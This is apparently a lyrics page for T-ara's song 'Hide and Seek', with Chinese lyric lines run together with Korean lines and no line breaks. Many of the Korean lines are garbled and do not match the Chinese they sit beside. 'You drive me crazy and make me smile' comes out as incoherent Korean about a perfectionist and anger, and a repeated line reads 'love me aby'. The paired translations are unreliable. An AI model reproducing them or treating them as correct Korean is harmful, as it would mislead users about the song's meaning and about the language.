捉迷藏 t-ara숨바꼭질 t-ara藏的嚴嚴實實而無法找到你的心단단하고 소지는 당신의 마음을 찾을 수 없습니다藏的嚴嚴實實而無法了解你的心단단하고 소지는 당신의 마음을 이해할 수 없다為什麼只是笑呢 你也和我一樣嗎왜 그냥 웃음 당신은 저를 좋아하세요藏的嚴嚴實實我的心動搖了내 마음의 소지가 단단히 흔들어藏的嚴嚴實實 我坐立不安단단히 난 안절부절 소지你卻裝作不知道 掩藏著你的心하지만 당신은 당신의 마음을 숨길 모르는 척想要去愛啊 想要和你在一起啊아 사랑하고 싶어 아 당신과 함께 할內心深處藏得嚴嚴實實깊은 단단히 안에 숨겨져如同膽小鬼一樣你的愛겁쟁이처럼, 당신의 사랑처럼你令我瘋狂 又令我展顏당신은 내가 완벽 주의자 나 너무 화가 이루어是不是因為怕受傷 所以才不敢說그것은 말할 수 없다, 그래서 그것 때문에 부상의 두려움이다不要再捉迷藏了 love me aby숨바꼭질하지 마십시오 love me baby
我心慌慌 眼裡簌簌나는 웅성 거린 공황 눈 공황為什麼把我的心弄的混亂呢내 마음의 혼란은 그것을 얻을 수 있습니다 이유我獨自期待 我獨自去愛혼자 내 자신의 사랑을 기대隨著時間流逝愛情的痛苦不斷增加경시 사랑의 통증 증가와 함께藏的嚴嚴實實我的心動搖了내 마음의 소지가 단단히 흔들어藏的嚴嚴實實 我坐立不安단단히 난 안절부절 소지你卻裝作不知道 掩藏著你的心하지만 당신은 당신의 마음을 숨길 모르는 척想要去愛啊 想要和你在一起啊아 사랑하고 싶어 아 당신과 함께 할內心深處藏得嚴嚴實實깊은 단단히 안에 숨겨져如同膽小鬼一樣你的愛겁쟁이처럼, 당신의 사랑처럼你令我瘋狂 又令我展顏당신은 내가 완벽 주의자 나 너무 화가 이루어是不是因為怕受傷 所以才不敢說그것은 말할 수 없다, 그래서 그것 때문에 부상의 두려움이다不要再捉迷藏了숨바꼭질하지 마십시오
似乎能抓到又抓不到 那樣的躲藏著잡을 수있을 것와 숨어있는 그런 종류의를 찾을 수 없습니다像個男人一樣趕緊說出來 說你愛我남자가 당신이 나를 사랑한다는 말을 서둘러처럼今天也淚如雨下 心裡留下的痕跡오늘도 마크는 눈물을 터뜨렸고 내 마음을 왼쪽으로知道因為你 我每天都心如刀絞嗎당신과 내가 둘 다 알고 있기 때문에 매일 고통을我陷入愛情 你卻裝作不知道나는 사랑에 빠지게하지만 당신은 모르는 척很痛 我每天都很痛통증 매일 통증이你令我瘋狂 又令我展顏당신은 내가 완벽 주의자 나 너무 화가 이루어是不是因為怕受傷 所以才不敢說그것은 말할 수 없다, 그래서 그것 때문에 부상의 두려움이다不要再捉迷藏了 love me aby숨바꼭질하지 마십시오 love me baby

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